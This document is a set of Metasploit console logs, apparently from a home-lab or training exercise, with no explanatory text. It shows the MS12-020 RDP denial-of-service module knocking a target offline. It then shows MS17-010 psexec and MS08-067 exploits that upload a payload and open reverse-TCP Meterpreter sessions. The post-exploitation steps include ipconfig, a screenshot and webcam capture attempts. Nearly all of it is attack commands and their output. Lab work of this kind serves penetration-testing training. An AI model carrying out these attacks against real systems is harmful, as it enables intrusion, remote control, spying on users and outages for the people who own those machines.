```
       =[ metasploit v6.3.0-dev                           ]
+ -- --=[ 2278 exploits - 1201 auxiliary - 408 post       ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Save the current environment with the
save command, future console restarts will use this
environment again
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search ms12_020

Matching Modules
================

   #  Name                                              Disclosure Date  Rank    Check  Description
   -  ----                                              ---------------  ----    -----  -----------
   0  auxiliary/scanner/rdp/ms12_020_check                               normal  Yes    MS12-020 Microsoft Remote Desktop Checker
   1  auxiliary/dos/windows/rdp/ms12_020_maxchannelids  2012-03-16       normal  No     MS12-020 Microsoft Remote Desktop Use-After-Free DoS

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

msf6 > use 1
msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > show options

Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT   3389             yes       The target port (TCP)


View the full module info with the info, or info -d command.

msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) >
```

```
msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > show options

Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.1.110    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/
   RPORT    3389             yes       The target port (TCP)

View the full module info with the info, or info -d command.

msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > exploit
[*] Running module against 192.168.1.110

[*] 192.168.1.110:3389 - 192.168.1.110:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] 192.168.1.110:3389 - 192.168.1.110:3389 - 210 bytes sent
[*] 192.168.1.110:3389 - 192.168.1.110:3389 - Checking RDP status ...
[+] 192.168.1.110:3389 - 192.168.1.110:3389 seems down
[*] Auxiliary module execution completed
msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > search MS17-010

Matching Modules
================
```

```
View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_psexec) > exploit

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS
msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts
rhosts =>
msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.1.110
rhosts => 192.168.1.110
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.110:445 - Target OS: Windows XP 3790 Service Pack 1
[*] 192.168.1.110:445 - Filling barrel with fish ... done
[*] 192.168.1.110:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.1.110:445 -         [*] Preparing dynamite ...
[*] 192.168.1.110:445 -                 [*] Trying stick 1 (x64) ... Boom!
[*] 192.168.1.110:445 -         [+] Successfully Leaked Transaction!
[*] 192.168.1.110:445 -         [+] Successfully caught Fish-in-a-barrel
[*] 192.168.1.110:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.1.110:445 - Reading from CONNECTION struct at: 0xfffffadfce64dc70
[*] 192.168.1.110:445 - Built a write-what-where primitive ...
[+] 192.168.1.110:445 - Overwrite complete ... SYSTEM session obtained!
[*] 192.168.1.110:445 - Selecting native target
[*] 192.168.1.110:445 - Uploading payload ... WTMTJoEw.exe
[*] 192.168.1.110:445 - Created \WTMTJoEw.exe ...
[+] 192.168.1.110:445 - Service started successfully ...
[*] 192.168.1.110:445 - Deleting \WTMTJoEw.exe ...
[-] 192.168.1.110:445 - Delete of \WTMTJoEw.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Sending stage (175686 bytes) to 192.168.1.110
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.110:1036) at 2023-03-09 10:01:25 -0500

meterpreter > ipconfig

Interface 1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1


Interface  2
============
Name         : Intel(R) PRO/1000 MT Desktop Adapter - Packet Scheduler Miniport
Hardware MAC : 08:00:27:65:18:5c
MTU          : 1500
IPv4 Address : 192.168.1.110
IPv4 Netmask : 255.255.255.0

meterpreter >
```

File Actions Edit View Help

```
   46  Windows XP SP3 Japanese (NX)
   47  Windows XP SP3 Korean (NX)
   48  Windows XP SP3 Dutch (NX)
   49  Windows XP SP3 Norwegian (NX)
   50  Windows XP SP3 Polish (NX)
   51  Windows XP SP3 Portuguese - Brazilian (NX)
   52  Windows XP SP3 Portuguese (NX)
   53  Windows XP SP3 Russian (NX)
   54  Windows XP SP3 Swedish (NX)
   55  Windows XP SP3 Turkish (NX)
   56  Windows 2003 SP1 English (NO NX)
   57  Windows 2003 SP1 English (NX)
   58  Windows 2003 SP1 Japanese (NO NX)
   59  Windows 2003 SP1 Spanish (NO NX)
   60  Windows 2003 SP1 Spanish (NX)
   61  Windows 2003 SP1 French (NO NX)
   62  Windows 2003 SP1 French (NX)
   63  Windows 2003 SP2 English (NO NX)
   64  Windows 2003 SP2 English (NX)
   65  Windows 2003 SP2 German (NO NX)
   66  Windows 2003 SP2 German (NX)
   67  Windows 2003 SP2 Portuguese (NX)
   68  Windows 2003 SP2 Portuguese - Brazilian (NX)
   69  Windows 2003 SP2 Spanish (NO NX)
   70  Windows 2003 SP2 Spanish (NX)
   71  Windows 2003 SP2 Japanese (NO NX)
   72  Windows 2003 SP2 French (NO NX)
   73  Windows 2003 SP2 French (NX)
   74  Windows 2003 SP2 Chinese - Simplified (NX)
   75  Windows 2003 SP2 Czech (NX)
   76  Windows 2003 SP2 Dutch (NX)
   77  Windows 2003 SP2 Hungarian (NX)
   78  Windows 2003 SP2 Italian (NX)
   79  Windows 2003 SP2 Russian (NX)
   80  Windows 2003 SP2 Swedish (NX)
   81  Windows 2003 SP2 Turkish (NX)

msf6 exploit(windows/smb/ms08_067_netapi) > set target 45
target => 45
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.110:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.1.110
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.110:1037) at 2023-03-09 10:12:17 -0500

meterpreter > screenshot
Screenshot saved to: /home/kali/afyOoPWe.jpeg
meterpreter > webcam_list
[-] No webcams were found
meterpreter > webcam_snap
[-] Target does not have a webcam
meterpreter >
```